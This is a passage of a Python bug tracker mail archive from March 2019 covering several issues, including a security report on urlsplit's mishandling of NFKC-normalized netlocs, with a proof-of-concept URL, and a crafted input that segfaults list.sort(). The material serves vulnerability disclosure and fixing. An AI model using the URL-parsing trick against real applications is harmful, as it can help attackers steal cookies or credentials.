>>> u = "https://example.com\uFF03 at bing.com".encode("idna").decode("ascii")
>>> urlsplit(u).netloc.rpartition("@")[2]
example.com

(Note that .netloc includes user/pass and .rpartition("@") is often used to remove it.)

This may be used to steal cookies or authentication data from applications that use the netloc to cache or retrieve this information.

The preferred fix for the urllib module is to detect and raise ValueError if NFKC-normalization of the netloc introduce any of '/?#@:'. Applications that want to avoid this error should perform their own decomposition using unicodedata or transcode to ASCII via IDNA.

>>> # New behavior
>>> u = "https://example.com\uFF03 at bing.com"
>>> urlsplit(u)
...
ValueError: netloc 'example.com#@bing.com' contains invalid characters under NFKC normalization

>>> # Workaround 1
>>> u2 = unicodedata.normalize("NFKC", u)
>>> urlsplit(u2)
SplitResult(scheme='https', netloc='example.com', path='', query='', fragment='@bing.com')

>>> # Workaround 2
>>> u3 = u.encode("idna").decode("ascii")
>>> urlsplit(u3)
SplitResult(scheme='https', netloc='example.com', path='', query='', fragment='@bing.com')

Note that we do not address other characters, such as those that convert into period. The error is only raised for changes that affect how urlsplit() locates the netloc and the very common next step of removing credentials from the netloc.

This vulnerability was reported by Jonathan Birch of Microsoft Corporation and Panayiotis Panayiotou (p.panayiotou2 at gmail.com) via the Python Security Response Team. A CVE number has been requested.

[1]: https://unicode.org/reports/tr46/

----------
assignee: steve.dower
components: Unicode
keywords: security_issue
messages: 337336
nosy: benjamin.peterson, ezio.melotti, larry, ned.deily, steve.dower, vstinner
priority: normal
severity: normal
stage: needs patch
status: open
title: urlsplit does not handle NFKC normalization
type: security
versions: Python 2.7, Python 3.4, Python 3.5, Python 3.6, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36216>
_______________________________________

From report at bugs.python.org  Wed Mar  6 12:45:19 2019
From: report at bugs.python.org (Steve Dower)
Date: Wed, 06 Mar 2019 17:45:19 +0000
Subject: [issue36216] urlsplit does not handle NFKC normalization
In-Reply-To: <1551893840.49.0.433864450493.issue36216@roundup.psfhosted.org>
Message-ID: <1551894319.15.0.214826513088.issue36216@roundup.psfhosted.org>


Change by Steve Dower <steve.dower at python.org>:


----------
keywords: +patch
pull_requests: +12196
stage: needs patch -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36216>
_______________________________________

From report at bugs.python.org  Wed Mar  6 13:01:03 2019
From: report at bugs.python.org (chrysn)
Date: Wed, 06 Mar 2019 18:01:03 +0000
Subject: [issue36217] recvmsg support on Windows
Message-ID: <1551895263.91.0.391807154727.issue36217@roundup.psfhosted.org>


New submission from chrysn <chrysn at fsfe.org>:

Windows has support for advanced socket APIs of RFC 3542 (eg. pktinfo, see https://docs.microsoft.com/en-us/windows/desktop/api/ws2ipdef/ns-ws2ipdef-in6_pktinfo), but those can not be used on Python as there is no recvmsg implementation (tested on 3.7.1 on Windows 10).

The recvmsg function is, among other things, required for implementing the CoAP protocol (RFC 7252: introspection of ICMP errors).

Windows does have a recvmsg function (as documented at https://msdn.microsoft.com/en-us/a46449f7-3206-45e9-9df0-f272b8cdcc4b), and supports flags to make actual use of it (like RECVPKTINFO above). Given many of the missing flags of RFC 3542 are being added in issue29515, please consider adding a recvmsg method to Windows socket objects.

----------
components: Windows
messages: 337337
nosy: chrysn, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: recvmsg support on Windows
type: enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36217>
_______________________________________

From report at bugs.python.org  Wed Mar  6 13:07:14 2019
From: report at bugs.python.org (Steve Dower)
Date: Wed, 06 Mar 2019 18:07:14 +0000
Subject: [issue36204] Deprecate calling Py_Main() after Py_Initialize()? Add
 Py_InitializeFromArgv()?
In-Reply-To: <1551834525.71.0.299851927567.issue36204@roundup.psfhosted.org>
Message-ID: <1551895634.42.0.584100112577.issue36204@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

> If you want to force the usage of UTF-8, you can opt-in for UTF-8 mode: call putenv("PYTHONUTF8=1") before Py_UnixMain() for example.

I'm not talking about forcing UTF-8, I'm talking about *assuming* it (and letting "someone else" worry about forcing it).

As I understand it UTF-8 mode, is about overriding the environment's apparent encoding and saying "skip our detection logic and always encode/decode via UTF-8". That is part of the encoding detection logic.

Our embedding APIs currently accept "whatever" and try to figure out the encoding on the inside. I'm proposing that they should accept "UTF-8" and the caller has to figure out the encoding (maybe with our helper functions).

That way embedders can just worry about UTF-8 consistently, instead of having to work around our workarounds for encoding detection.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36204>
_______________________________________

From report at bugs.python.org  Wed Mar  6 14:07:34 2019
From: report at bugs.python.org (Michael Felt)
Date: Wed, 06 Mar 2019 19:07:34 +0000
Subject: [issue36210] ncurses versus cursus integration - platform differences
 and defaults
In-Reply-To: <1551877478.38.0.771456862754.issue36210@roundup.psfhosted.org>
Message-ID: <1551899254.56.0.305103494561.issue36210@roundup.psfhosted.org>


Change by Michael Felt <aixtools at felt.demon.nl>:


----------
keywords: +patch
pull_requests: +12197
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36210>
_______________________________________

From report at bugs.python.org  Wed Mar  6 15:05:23 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Wed, 06 Mar 2019 20:05:23 +0000
Subject: [issue23205] Unit test needed for IDLE's GrepDialog.py's findfiles()
In-Reply-To: <1420791360.73.0.110066531981.issue23205@psf.upfronthosting.co.za>
Message-ID: <1551902723.34.0.839115666806.issue23205@roundup.psfhosted.org>


Change by Cheryl Sabella <cheryl.sabella at gmail.com>:


----------
pull_requests: +12198
stage: needs patch -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue23205>
_______________________________________

From report at bugs.python.org  Wed Mar  6 15:21:54 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Wed, 06 Mar 2019 20:21:54 +0000
Subject: [issue23205] Unit test needed for IDLE's GrepDialog.py's findfiles()
In-Reply-To: <1420791360.73.0.110066531981.issue23205@psf.upfronthosting.co.za>
Message-ID: <1551903714.6.0.269402165075.issue23205@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

I've opened a PR with the changes.  I did several commits, one for each stage.  That is, the first one adds the test, then the second one moves `findfiles` to the module level, etc.

I added the `onerror` function because if a directory that doesn't exist is entered as the path, it's nice to see that message at the top of the output window instead of just seeing zero hits.  Plus, I had made a test for it.  :-)

One change that I didn't commit is that an alternative version of findfiles would be:

def findfiles(folder, pattern, recursive):
    prefix = '**/' if recursive else ''
    yield from(pathlib.Path(folder).glob(f'{prefix}{pattern}'))

The tests would have to be reworked, but manual testing showed it gave the same results, albeit without the `onerror`.

One other comment about the sorting.  If you change the `sorted()` in `grep_it()` to `list()` when you're looking at manual results, you'll see that `list()` shows all of one directory first, then all of the first child directory, etc (which makes sense since walk does each directory at a time).  It's a quick way to compare the depth-first vs breadth first results.

----------
stage: patch review -> needs patch

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue23205>
_______________________________________

From report at bugs.python.org  Wed Mar  6 16:30:15 2019
From: report at bugs.python.org (Yury Selivanov)
Date: Wed, 06 Mar 2019 21:30:15 +0000
Subject: [issue33346] Syntax error with async generator inside dictionary
 comprehension
In-Reply-To: <1524567941.57.0.682650639539.issue33346@psf.upfronthosting.co.za>
Message-ID: <1551907815.95.0.818165772013.issue33346@roundup.psfhosted.org>


Yury Selivanov <yselivanov at gmail.com> added the comment:

Yes, I have exactly the same thoughts as Nathaniel about this.  The bug should be fixed, and the algorithm should be as follows (quoting Nathaniel):

> So, I would expect the rule to be, precisely: if an async list/dict/set comprehension occurs inside either a list/dict/set comprehension or a generator expression, that should force the enclosing expression to become async.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33346>
_______________________________________

From report at bugs.python.org  Wed Mar  6 16:42:42 2019
From: report at bugs.python.org (Josh Rosenberg)
Date: Wed, 06 Mar 2019 21:42:42 +0000
Subject: [issue33346] Syntax error with async generator inside dictionary
 comprehension
In-Reply-To: <1524567941.57.0.682650639539.issue33346@psf.upfronthosting.co.za>
Message-ID: <1551908562.87.0.820723902449.issue33346@roundup.psfhosted.org>


Change by Josh Rosenberg <shadowranger+python at gmail.com>:


----------
nosy: +josh.r

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33346>
_______________________________________

From report at bugs.python.org  Wed Mar  6 16:54:32 2019
From: report at bugs.python.org (Lyn Levenick)
Date: Wed, 06 Mar 2019 21:54:32 +0000
Subject: [issue36218] .sort() segfaults consistently on crafted input
Message-ID: <1551909272.26.0.760081663583.issue36218@roundup.psfhosted.org>


New submission from Lyn Levenick <lyn.levenick at gmail.com>:

Running Python 3.7.2, it is possible to segfault the process when sorting some arrays.

Executed commands are

    $ python3
    Python 3.7.2 (default, Feb 12 2019, 08:15:36) 
    [Clang 10.0.0 (clang-1000.11.45.5)] on darwin
    Type "help", "copyright", "credits" or "license" for more information.
    >>> [(1.0, 1.0), (False, "A"), 6].sort()
    Segmentation fault: 11

I did not have the opportunity to test on systems other than macOS, but anecdotally this is reproducible on both Windows and Linux.

----------
messages: 337341
nosy: Lyn Levenick
priority: normal
severity: normal
status: open
title: .sort() segfaults consistently on crafted input
type: crash
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36218>
_______________________________________

From report at bugs.python.org  Wed Mar  6 17:07:27 2019
From: report at bugs.python.org (SilentGhost)
Date: Wed, 06 Mar 2019 22:07:27 +0000
Subject: [issue36218] .sort() segfaults consistently on crafted input
In-Reply-To: <1551909272.26.0.760081663583.issue36218@roundup.psfhosted.org>
Message-ID: <1551910047.63.0.904443668341.issue36218@roundup.psfhosted.org>


SilentGhost <ghost.adh at runbox.com> added the comment:

Can confirm on 3.7.1 on Linux. The same is happening for sorted. I wonder if the optimisation done in 1e34da49ef2 is responsible

----------
components: +Interpreter Core
nosy: +SilentGhost, rhettinger
stage:  -> needs patch

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36218>
_______________________________________

From report at bugs.python.org  Wed Mar  6 17:16:26 2019
From: report at bugs.python.org (Lysandros Nikolaou)
Date: Wed, 06 Mar 2019 22:16:26 +0000
Subject: [issue36218] .sort() segfaults consistently on crafted input
In-Reply-To: <1551909272.26.0.760081663583.issue36218@roundup.psfhosted.org>
Message-ID: <1551910586.24.0.597144424049.issue36218@roundup.psfhosted.org>


Lysandros Nikolaou <lisandrosnik at gmail.com> added the comment:

Can confirm for 3.7.2 on my macOS 10.14 system. Although this is the case in 3.7 on my current build of the master branch I get the following AssertionError instead:

Assertion failed: (v->ob_type == w->ob_type), function unsafe_tuple_compare, file Objects/listobject.c, line 2164

It seems like the AssertionError gets thrown in unsafe_tuple_compare().
Link: https://github.com/python/cpython/blob/dc078947a5033a048d804e244e847b5844734439/Objects/listobject.c#L2164

----------
nosy: +lys.nikolaou

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36218>
_______________________________________

From report at bugs.python.org  Wed Mar  6 17:18:04 2019
From: report at bugs.python.org (SilentGhost)
Date: Wed, 06 Mar 2019 22:18:04 +0000
Subject: [issue36218] .sort() segfaults consistently on crafted input
In-Reply-To: <1551909272.26.0.760081663583.issue36218@roundup.psfhosted.org>
Message-ID: <1551910684.0.0.487840929867.issue36218@roundup.psfhosted.org>


Change by SilentGhost <ghost.adh at runbox.com>:


----------
versions: +Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36218>
_______________________________________

From report at bugs.python.org  Wed Mar  6 17:23:03 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Wed, 06 Mar 2019 22:23:03 +0000
Subject: [issue36218] .sort() segfaults consistently on crafted input
In-Reply-To: <1551909272.26.0.760081663583.issue36218@roundup.psfhosted.org>
Message-ID: <1551910983.63.0.364922003788.issue36218@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

Adding ned and ?ukasz since this seems to happen on release builds.

----------
nosy: +lukasz.langa, ned.deily, xtreak

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36218>
_______________________________________

From report at bugs.python.org  Wed Mar  6 17:28:47 2019
From: report at bugs.python.org (SilentGhost)
Date: Wed, 06 Mar 2019 22:28:47 +0000
Subject: [issue36218] .sort() segfaults consistently on crafted input
In-Reply-To: <1551909272.26.0.760081663583.issue36218@roundup.psfhosted.org>
Message-ID: <1551911327.2.0.564210664505.issue36218@roundup.psfhosted.org>


Change by SilentGhost <ghost.adh at runbox.com>:


----------
nosy: +elliot.gorokhovsky

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36218>
_______________________________________

From report at bugs.python.org  Wed Mar  6 17:30:06 2019
From: report at bugs.python.org (Zachary Ware)
Date: Wed, 06 Mar 2019 22:30:06 +0000
Subject: [issue36218] .sort() segfaults consistently on crafted input
In-Reply-To: <1551909272.26.0.760081663583.issue36218@roundup.psfhosted.org>
Message-ID: <1551911406.47.0.225294656906.issue36218@roundup.psfhosted.org>


Zachary Ware <zachary.ware at gmail.com> added the comment:

Confirmed on Linux:

$ python3.6
Python 3.6.8 (default, Mar  5 2019, 22:01:36) 
[GCC 8.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> [(1.0, 1.0), (False, "A"), 6].sort()
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: '<' not supported between instances of 'int' and 'tuple'
>>> 
$ python3.7
Python 3.7.2 (default, Mar  5 2019, 22:05:50) 
[GCC 8.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> [(1.0, 1.0), (False, "A"), 6].sort()
Segmentation fault

----------
nosy: +zach.ware -elliot.gorokhovsky
priority: normal -> release blocker

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36218>
_______________________________________

From report at bugs.python.org  Wed Mar  6 17:30:33 2019
From: report at bugs.python.org (Zachary Ware)
Date: Wed, 06 Mar 2019 22:30:33 +0000
Subject: [issue36218] .sort() segfaults consistently on crafted input
In-Reply-To: <1551909272.26.0.760081663583.issue36218@roundup.psfhosted.org>
Message-ID: <1551911433.83.0.414761314325.issue36218@roundup.psfhosted.org>


Change by Zachary Ware <zachary.ware at gmail.com>:


----------
nosy: +elliot.gorokhovsky

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36218>
_______________________________________

From report at bugs.python.org  Wed Mar  6 17:30:52 2019
From: report at bugs.python.org (=?utf-8?q?R=C3=A9mi_Lapeyre?=)
Date: Wed, 06 Mar 2019 22:30:52 +0000
Subject: [issue36218] .sort() segfaults consistently on crafted input
In-Reply-To: <1551909272.26.0.760081663583.issue36218@roundup.psfhosted.org>
Message-ID: <1551911452.99.0.0576013894955.issue36218@roundup.psfhosted.org>


R?mi Lapeyre <remi.lapeyre at henki.fr> added the comment:

On mac I confirm that 1e34da49ef2 segfaults and 6c6ddf97c4 gives the expected result:

?  cpython git:(6c6ddf97c4) ? ./python.exe tests.py
Traceback (most recent call last):
  File "tests.py", line 1, in <module>
    [(1.0, 1.0), (False, "A"), 6].sort()
TypeError: '<' not supported between instances of 'int' and 'tuple'

----------
nosy: +remi.lapeyre -elliot.gorokhovsky, zach.ware

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36218>
_______________________________________

From report at bugs.python.org  Wed Mar  6 17:38:12 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Wed, 06 Mar 2019 22:38:12 +0000
Subject: [issue36218] .sort() segfaults consistently on crafted input
In-Reply-To: <1551909272.26.0.760081663583.issue36218@roundup.psfhosted.org>
Message-ID: <1551911892.78.0.275516285263.issue36218@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
nosy: +elliot.gorokhovsky, zach.ware

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36218>
_______________________________________

From report at bugs.python.org  Wed Mar  6 17:41:58 2019
From: report at bugs.python.org (=?utf-8?q?R=C3=A9mi_Lapeyre?=)
Date: Wed, 06 Mar 2019 22:41:58 +0000
Subject: [issue36218] .sort() segfaults consistently on crafted input
In-Reply-To: <1551909272.26.0.760081663583.issue36218@roundup.psfhosted.org>
Message-ID: <1551912118.27.0.497546545598.issue36218@roundup.psfhosted.org>


R?mi Lapeyre <remi.lapeyre at henki.fr> added the comment:

The code segfaults at https://github.com/python/cpython/blob/master/Objects/listobject.c#L2164 coming from https://github.com/python/cpython/blob/master/Objects/listobject.c#L1324.

----------
nosy:  -elliot.gorokhovsky, zach.ware

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36218>
_______________________________________

From report at bugs.python.org  Wed Mar  6 17:56:11 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Wed, 06 Mar 2019 22:56:11 +0000
Subject: [issue36218] .sort() segfaults consistently on crafted input
In-Reply-To: <1551909272.26.0.760081663583.issue36218@roundup.psfhosted.org>
Message-ID: <1551912971.64.0.713225294066.issue36218@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

@remi.lapeyre please make sure you are not unsubscribing others by mistake while adding comment.

----------
nosy: +elliot.gorokhovsky, zach.ware

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36218>
_______________________________________

From report at bugs.python.org  Wed Mar  6 18:09:43 2019
From: report at bugs.python.org (=?utf-8?q?R=C3=A9mi_Lapeyre?=)
Date: Wed, 06 Mar 2019 23:09:43 +0000
Subject: [issue36218] .sort() segfaults consistently on crafted input
In-Reply-To: <1551909272.26.0.760081663583.issue36218@roundup.psfhosted.org>
Message-ID: <1551913783.58.0.626580217187.issue36218@roundup.psfhosted.org>


R?mi Lapeyre <remi.lapeyre at henki.fr> added the comment:

Hi @xtreak, sorry for that.

I think the issue may come from https://github.com/python/cpython/blob/master/Objects/listobject.c#L2273-L2357 where ms.key_compare is set, the conditions on the first ifs looks weird to me and I suspect ms.key_compare is set to unsafe_tuple_compare when not all elements are tuples.


The following patch fixed the issue and made the whole test suite pass:

diff --git Objects/listobject.c Objects/listobject.c
index b6524e8bd7..5237542092 100644
--- Objects/listobject.c
+++ Objects/listobject.c
@@ -1,4 +1,4 @@
-/* List object implementation */
+    /* List object implementation */
 
 #include "Python.h"
 #include "pycore_object.h"
@@ -2338,21 +2338,21 @@ list_sort_impl(PyListObject *self, PyObject *keyfunc, int reverse)
             else {
                 ms.key_compare = safe_object_compare;
             }
+            if (keys_are_in_tuples) {
+                /* Make sure we're not dealing with tuples of tuples
+                * (remember: here, key_type refers list [key[0] for key in keys]) */
+                if (key_type == &PyTuple_Type)
+                    ms.tuple_elem_compare = safe_object_compare;
+                else
+                    ms.tuple_elem_compare = ms.key_compare;
+
+                ms.key_compare = unsafe_tuple_compare;
+            }
         }
         else {
             ms.key_compare = safe_object_compare;
         }
 
-        if (keys_are_in_tuples) {
-            /* Make sure we're not dealing with tuples of tuples
-             * (remember: here, key_type refers list [key[0] for key in keys]) */
-            if (key_type == &PyTuple_Type)
-                ms.tuple_elem_compare = safe_object_compare;
-            else
-                ms.tuple_elem_compare = ms.key_compare;
-
-            ms.key_compare = unsafe_tuple_compare;
-        }
     }
     /* End of pre-sort check: ms is now set properly! */
 


I will have another look at it tomorrow and try to open a pull request.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36218>
_______________________________________

From report at bugs.python.org  Wed Mar  6 18:25:00 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Wed, 06 Mar 2019 23:25:00 +0000
Subject: [issue36216] urlsplit does not handle NFKC normalization
In-Reply-To: <1551893840.49.0.433864450493.issue36216@roundup.psfhosted.org>
Message-ID: <1551914700.31.0.385559258363.issue36216@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
nosy: +martin.panter, xtreak

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36216>
_______________________________________

From report at bugs.python.org  Wed Mar  6 19:10:03 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Thu, 07 Mar 2019 00:10:03 +0000
Subject: [issue36219] Add edit option in IDLE to convert smart quotes to ascii
 quotes
Message-ID: <1551917403.61.0.29942545482.issue36219@roundup.psfhosted.org>


New submission from Raymond Hettinger <raymond.hettinger at gmail.com>:

Some of my students routinely have to copy code samples from PDF documents where the regular Python acceptable ASCII quotation marks have been replaced by smart quotes.  Let's add an Edit menu option to fix smart-quotes.

----------
assignee: terry.reedy
components: IDLE
messages: 337350
nosy: rhettinger, terry.reedy
priority: normal
severity: normal
status: open
title: Add edit option in IDLE to convert smart quotes to ascii quotes
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36219>
_______________________________________

From report at bugs.python.org  Wed Mar  6 20:41:51 2019
From: report at bugs.python.org (Anthony Sottile)
Date: Thu, 07 Mar 2019 01:41:51 +0000
Subject: [issue33944] Deprecate and remove pth files
In-Reply-To: <1529688140.44.0.56676864532.issue33944@psf.upfronthosting.co.za>
Message-ID: <1551922911.68.0.160680444043.issue33944@roundup.psfhosted.org>


Anthony Sottile <asottile at umich.edu> added the comment:

I did my best to classify those on pypi that were using `.pth` files.  My initial search had quite a few false positives (and now that I look at it, completely missed `.zip`-based source distributions so there's likely some false negatives as well)

Here's the summary of the categorizations:

$ cut -d, -f2 < data.csv | sort | uniq -c
      2 backport
      4 coverage
      4 debugging
      2 demo
      9 encoding
      7 except-hook
     58 false-positive
      6 import-hook
     20 module-layout
     20 monkeypatch


I realized about halfway through that "monkeypatch" was probably too broad of a category but continued with that through all of them, the monkeypatch category contains a few classes of things: fixing third party libraries, disabling ssl (yikes!), adding some "features" to builtins / stdlib modules -- which unfortunately I didn't really classify properly.

There was a single .pth file that I deemed "malicious" since it completely breaks the `subprocess` module (`subprocess-run`) but other than that they all seemed ~mostly not the worst.

A lot of the `module-layout` ones could be solved with things provided directly by `setuptools`, or just be rearranging their distribution's files.

The raw data is available in csv: https://github.com/asottile/pth-file-investigation/blob/master/data.csv

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33944>
_______________________________________

From report at bugs.python.org  Wed Mar  6 21:08:29 2019
From: report at bugs.python.org (Emmanuel Arias)
Date: Thu, 07 Mar 2019 02:08:29 +0000
Subject: [issue36185] [EASY DOC] typo: Doc/c-api/objbuffer.rst: There is a
 typo in "corresponding"
In-Reply-To: <1551710598.51.0.139249207264.issue36185@roundup.psfhosted.org>
Message-ID: <1551924509.14.0.901046188619.issue36185@roundup.psfhosted.org>


Change by Emmanuel Arias <emmanuelarias30 at gmail.com>:


----------
keywords: +patch
pull_requests: +12199
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36185>
_______________________________________

From report at bugs.python.org  Wed Mar  6 21:43:29 2019
From: report at bugs.python.org (Solomon Ucko)
Date: Thu, 07 Mar 2019 02:43:29 +0000
Subject: [issue11614] import __hello__ is broken in Python 3
In-Reply-To: <1300634112.35.0.363135641538.issue11614@psf.upfronthosting.co.za>
Message-ID: <1551926609.53.0.779199086158.issue11614@roundup.psfhosted.org>


Solomon Ucko <solly.ucko at gmail.com> added the comment:

The byte code could be further optimized (because this is such a speed-critical module! :)):

  1           0 LOAD_CONST               2 (True) 
              3 STORE_NAME               1 (initialized) 

  2           6 LOAD_NAME                2 (print) 
              9 LOAD_CONST               0 ('Hello world...') 
             12 CALL_FUNCTION            1 
             15 RETURN_VALUE

----------
nosy: +Solomon Ucko

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue11614>
_______________________________________

From report at bugs.python.org  Wed Mar  6 21:51:36 2019
From: report at bugs.python.org (=?utf-8?q?Ionel_Cristian_M=C4=83rie=C8=99?=)
Date: Thu, 07 Mar 2019 02:51:36 +0000
Subject: [issue33944] Deprecate and remove pth files
In-Reply-To: <1551922911.68.0.160680444043.issue33944@roundup.psfhosted.org>
Message-ID: <CANkHFr8QbqbA5LJrsEzFvj=jj2jPeZcpZBKoGCGrFWQFuikW1A@mail.gmail.com>


Ionel Cristian M?rie? <contact at ionelmc.ro> added the comment:

> There was a single .pth file that I deemed "malicious" since it
completely breaks the `subprocess` module (`subprocess-run`)

It only seems to set an attribute. What's wrong with that? Does the early
import of subprocess cause problems?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33944>
_______________________________________

From report at bugs.python.org  Wed Mar  6 22:04:59 2019
From: report at bugs.python.org (Anthony Sottile)
Date: Thu, 07 Mar 2019 03:04:59 +0000
Subject: [issue33944] Deprecate and remove pth files
In-Reply-To: <1529688140.44.0.56676864532.issue33944@psf.upfronthosting.co.za>
Message-ID: <1551927899.06.0.914050581164.issue33944@roundup.psfhosted.org>


Anthony Sottile <asottile at umich.edu> added the comment:

> > There was a single .pth file that I deemed "malicious" since it
completely breaks the `subprocess` module (`subprocess-run`)
>
> It only seems to set an attribute. What's wrong with that? Does the early
import of subprocess cause problems?

It assigns `subprocess.run`, which is an api in python3.5+.  In those versions, `subprocess.check_*` is implemented in terms of `subprocess.run`.   The `subprocess.run` provided by that package has a different api than the stdlib one so any use of the subprocess module is broken just by having that package installed

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33944>
_______________________________________

From report at bugs.python.org  Wed Mar  6 22:35:23 2019
From: report at bugs.python.org (Ezio Melotti)
Date: Thu, 07 Mar 2019 03:35:23 +0000
Subject: [issue36139] release GIL on mmap dealloc
In-Reply-To: <1551290441.84.0.237778309898.issue36139@roundup.psfhosted.org>
Message-ID: <1551929723.86.0.963516016257.issue36139@roundup.psfhosted.org>


Ezio Melotti <ezio.melotti at gmail.com> added the comment:

> Oh wow, that's really strange. I'm sure that I wrote "https://..." URL but my URL became "r263026496">https://..." !?

The links are now fixed (Roundup was getting confused by the rNNNNNN, since it looks like a SVN revision).

----------
nosy: +ezio.melotti
type:  -> performance

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36139>
_______________________________________

From report at bugs.python.org  Wed Mar  6 22:41:26 2019
From: report at bugs.python.org (Kevin Shweh)
Date: Thu, 07 Mar 2019 03:41:26 +0000
Subject: [issue36220] LOAD_NAME and LOAD_GLOBAL handle dict subclasses for
 globals() differently
Message-ID: <1551930086.95.0.70586200648.issue36220@roundup.psfhosted.org>


New submission from Kevin Shweh <kevin.shweh at gmail.com>:

LOAD_NAME and LOAD_GLOBAL don't treat dict subclasses for globals() the same way. If globals() is a dict subclass, LOAD_GLOBAL will respect overridden __getitem__, but LOAD_NAME will use PyDict_GetItem. This causes global lookup to behave differently in class statements; for example, in the following code, the final exec is the only one where print(y) causes a NameError:

class Foo(dict):
    def __getitem__(self, index):
        return 5 if index == 'y' else super().__getitem__(index)
 
exec('print(y)', Foo())
exec('global y; print(y)', Foo())
exec('''
class UsesLOAD_NAME:
    global y
    print(y)''', Foo())
exec('''
class UsesLOAD_NAME:
    print(y)''', Foo())


STORE_GLOBAL and DELETE_GLOBAL also go straight for PyDict_SetItem and PyDict_DelItem; I don't know whether those should be considered bugs as well, but the inconsistency between LOAD_NAME and LOAD_GLOBAL definitely seems wrong.

(For reference, the change that introduced the inconsistency was made for issue #14385, which was intended to support non-dict __builtins__.)

----------
components: Interpreter Core
messages: 337356
nosy: Kevin Shweh
priority: normal
severity: normal
status: open
title: LOAD_NAME and LOAD_GLOBAL handle dict subclasses for globals() differently
type: behavior
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36220>
_______________________________________

From report at bugs.python.org  Wed Mar  6 22:45:46 2019
From: report at bugs.python.org (Eryk Sun)
Date: Thu, 07 Mar 2019 03:45:46 +0000
Subject: [issue36213] subprocess.check_output() fails with OSError: [WinError
 87] when current directory name is too long
In-Reply-To: <1551883036.38.0.267750986311.issue36213@roundup.psfhosted.org>
Message-ID: <1551930346.92.0.238758103429.issue36213@roundup.psfhosted.org>


Eryk Sun <eryksun at gmail.com> added the comment:

Long-path support in Windows 10 does not extend to the lpCurrentDirectory parameter of CreateProcessW. If the path length exceeds the old limit of MAX_PATH - 2 characters (not counting the required trailing backslash and null), CreateProcessW fails with either ERROR_DIRECTORY (267) or ERROR_INVALID_PARAMETER (87).

If we pass lpCurrentDirectory as a long path, it fails with ERROR_DIRECTORY (i.e. the directory name is invalid). This is a bit confusing because it maps to Python NotADirectoryError, which is the common usage for ERROR_DIRECTORY. CreateProcessW, however, uses it in its broadest sense. It also fails with this error if lpCurrentDirectory can't be validated as an existing directory via GetFileAttributesW.

If we pass lpCurrentDirectory as NULL (i.e. inherit the current directory) and our current directory is a long path, CreateProcessW fails with ERROR_INVALID_PARAMETER. The source of this error isn't obvious unless we know what to look for, since all of the passed parameters are in fact valid. However, I'm not sure how to clarify the error without making assumptions. In particular, a future release of Windows 10 may remove this limitation, in which case we could end up obscuring an unrelated error. 

> the workaround is to use the "\\?\" prefix

Without long-path support, the working directory is always limited to MAX_PATH - 2 characters. The \\?\ prefix doesn't help. A few years ago, the documentation for SetCurrentDirectory [1] was changed to include an invalid claim that we can use the \\?\ prefix. We need to go back to 2016 [2] to get the correct documentation. 

Windows doesn't even fully support setting the current directory to a device path (i.e. prefixed by \\.\ or \\?\). Operations on rooted paths will fail badly because the system computes an invalid working drive in this case. We can observe the problem by calling GetFullPathNameW:

    >>> os.chdir(r'\\.\C:\Temp')
    >>> print(os.path._getfullpathname(r'\Temp'))
    \\Temp

